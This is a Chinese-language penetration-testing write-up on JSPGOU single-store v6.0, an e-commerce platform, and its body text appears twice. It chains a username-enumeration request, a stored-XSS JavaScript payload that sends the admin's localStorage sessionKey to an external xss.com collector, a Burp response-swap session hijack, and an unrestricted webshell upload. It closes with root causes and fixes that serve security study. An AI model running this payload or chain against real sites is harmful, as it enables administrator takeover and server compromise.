某GOU单店版 v6.0 渗透笔记(组合GetShell)
字数 1487 2025-08-29 08:31:48

JSPGOU单店版 v6.0 渗透测试教学文档

1. 系统概述

JSPGOU是基于Java技术研发的电子商务管理软件,具有以下特点:

  • 强大、稳定、安全、高效、跨平台
  • 网站模板统一在后台管理
  • 拥有强大、灵活的标签系统
  • 用户可自定义显示内容和显示方式
  • 适用于大、中、小型企业构建电子商务平台

2. 漏洞分析

2.1 用户遍历漏洞

漏洞描述:系统存在用户枚举漏洞,可通过API接口判断用户名是否存在。

利用方法

  1. 发送GET请求到/username_unique.jspx接口
  2. 修改username参数为目标用户名
  3. 根据返回结果判断用户是否存在

请求示例

GET /username_unique.jspx?username=admin HTTP/1.1
Host: demo3.jeecms.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*
X-Requested-With: XMLHttpRequest

判断依据

  • 返回false表示用户存在
  • 返回true表示用户不存在

2.2 前台存储型XSS漏洞

漏洞描述:系统存在存储型XSS漏洞,可窃取管理员sessionKey,进而绕过认证。

利用方法

  1. 构造恶意JavaScript代码窃取sessionKey
  2. 将XSS代码注入到系统前台
  3. 等待管理员访问触发XSS

JavaScript利用代码

var website = "http://xss.com/XSS/";
(function() {
    (new Image()).src = website + '/?keepsession=1&location=' + escape((function() {
        try {
            return document.location.href
        } catch (e) {
            return ''
        }
    })()) + '&User=' + escape((function() {
        try {
            return localStorage.getItem("userName")
        } catch (e) {
            return ''
        }
    })()) + '&sessionKey=' + escape((function() {
        try {
            return localStorage.getItem("sessionKey")
        } catch (e) {
            return ''
        }
    })());
})();

关键点

  • 系统主要依赖sessionKey而非Cookie进行身份验证
  • sessionKey存储在用户端PC的localStorage中
  • 获取到sessionKey后可以伪造管理员会话

2.3 会话劫持攻击

攻击步骤

  1. 获取到管理员的sessionKey
  2. 使用Burp Suite拦截登录请求
  3. 替换响应包中的sessionKey为获取到的管理员sessionKey
  4. 放开Burp Suite拦截,任意账号密码即可登录为管理员

关键点

  • 系统对数据包进行了校验,无法直接修改请求包
  • 需要通过响应包替换的方式注入sessionKey
  • 系统仅依赖sessionKey进行身份验证,不校验Cookie

2.4 后台GetShell

漏洞描述:后台存在无限制文件上传漏洞,可直接获取WebShell。

利用方法

  1. 登录后台(通过前述漏洞获取管理员权限)
  2. 导航到"界面"->"资源管理"->"上传文件"
  3. 上传WebShell文件(如JSP木马)

优势

  • 无文件类型限制
  • 无内容安全检查
  • 可直接上传可执行脚本

3. 漏洞成因分析

  1. 用户枚举:API接口未对用户存在性检查做限制
  2. XSS漏洞:前端未对用户输入做充分过滤
  3. 认证缺陷
    • 过度依赖sessionKey进行身份验证
    • 未正确校验Cookie
    • sessionKey存储在客户端且可被窃取
  4. 文件上传漏洞:后台未对上传文件做任何安全检查

4. 修复建议

  1. 用户枚举

    • 统一返回相同的信息(如都返回"true")
    • 增加请求频率限制
    • 添加验证码机制
  2. XSS漏洞

    • 对所有用户输入进行HTML实体编码
    • 实施严格的CSP策略
    • 对输出到页面的数据做XSS过滤
  3. 认证机制

    • 加强Cookie校验
    • 不要仅依赖sessionKey进行身份验证
    • 实现多因素认证
    • sessionKey应设置HttpOnly和Secure标志
  4. 文件上传

    • 限制上传文件类型
    • 检查文件内容
    • 上传文件重命名
    • 存储在非Web可访问目录
  5. 其他建议

    • 实现完善的日志记录和监控
    • 定期进行安全审计
    • 保持系统更新到最新版本

5. 总结

JSPGOU v6.0存在多个严重安全漏洞,攻击者可以通过组合利用这些漏洞最终获取系统完全控制权。最关键的漏洞在于系统的认证机制设计缺陷,过度依赖客户端存储的sessionKey而忽视其他安全校验机制。建议用户立即采取修复措施,特别是加强认证机制和文件上传限制。

JSPGOU单店版 v6.0 渗透测试教学文档 1. 系统概述 JSPGOU是基于Java技术研发的电子商务管理软件,具有以下特点: 强大、稳定、安全、高效、跨平台 网站模板统一在后台管理 拥有强大、灵活的标签系统 用户可自定义显示内容和显示方式 适用于大、中、小型企业构建电子商务平台 2. 漏洞分析 2.1 用户遍历漏洞 漏洞描述 :系统存在用户枚举漏洞,可通过API接口判断用户名是否存在。 利用方法 : 发送GET请求到 /username_unique.jspx 接口 修改 username 参数为目标用户名 根据返回结果判断用户是否存在 请求示例 : 判断依据 : 返回 false 表示用户存在 返回 true 表示用户不存在 2.2 前台存储型XSS漏洞 漏洞描述 :系统存在存储型XSS漏洞,可窃取管理员sessionKey,进而绕过认证。 利用方法 : 构造恶意JavaScript代码窃取sessionKey 将XSS代码注入到系统前台 等待管理员访问触发XSS JavaScript利用代码 : 关键点 : 系统主要依赖 sessionKey 而非Cookie进行身份验证 sessionKey 存储在用户端PC的localStorage中 获取到 sessionKey 后可以伪造管理员会话 2.3 会话劫持攻击 攻击步骤 : 获取到管理员的 sessionKey 后 使用Burp Suite拦截登录请求 替换响应包中的 sessionKey 为获取到的管理员 sessionKey 放开Burp Suite拦截,任意账号密码即可登录为管理员 关键点 : 系统对数据包进行了校验,无法直接修改请求包 需要通过响应包替换的方式注入 sessionKey 系统仅依赖 sessionKey 进行身份验证,不校验Cookie 2.4 后台GetShell 漏洞描述 :后台存在无限制文件上传漏洞,可直接获取WebShell。 利用方法 : 登录后台(通过前述漏洞获取管理员权限) 导航到"界面"->"资源管理"->"上传文件" 上传WebShell文件(如JSP木马) 优势 : 无文件类型限制 无内容安全检查 可直接上传可执行脚本 3. 漏洞成因分析 用户枚举 :API接口未对用户存在性检查做限制 XSS漏洞 :前端未对用户输入做充分过滤 认证缺陷 : 过度依赖 sessionKey 进行身份验证 未正确校验Cookie sessionKey 存储在客户端且可被窃取 文件上传漏洞 :后台未对上传文件做任何安全检查 4. 修复建议 用户枚举 : 统一返回相同的信息(如都返回"true") 增加请求频率限制 添加验证码机制 XSS漏洞 : 对所有用户输入进行HTML实体编码 实施严格的CSP策略 对输出到页面的数据做XSS过滤 认证机制 : 加强Cookie校验 不要仅依赖 sessionKey 进行身份验证 实现多因素认证 sessionKey 应设置HttpOnly和Secure标志 文件上传 : 限制上传文件类型 检查文件内容 上传文件重命名 存储在非Web可访问目录 其他建议 : 实现完善的日志记录和监控 定期进行安全审计 保持系统更新到最新版本 5. 总结 JSPGOU v6.0存在多个严重安全漏洞,攻击者可以通过组合利用这些漏洞最终获取系统完全控制权。最关键的漏洞在于系统的认证机制设计缺陷,过度依赖客户端存储的 sessionKey 而忽视其他安全校验机制。建议用户立即采取修复措施,特别是加强认证机制和文件上传限制。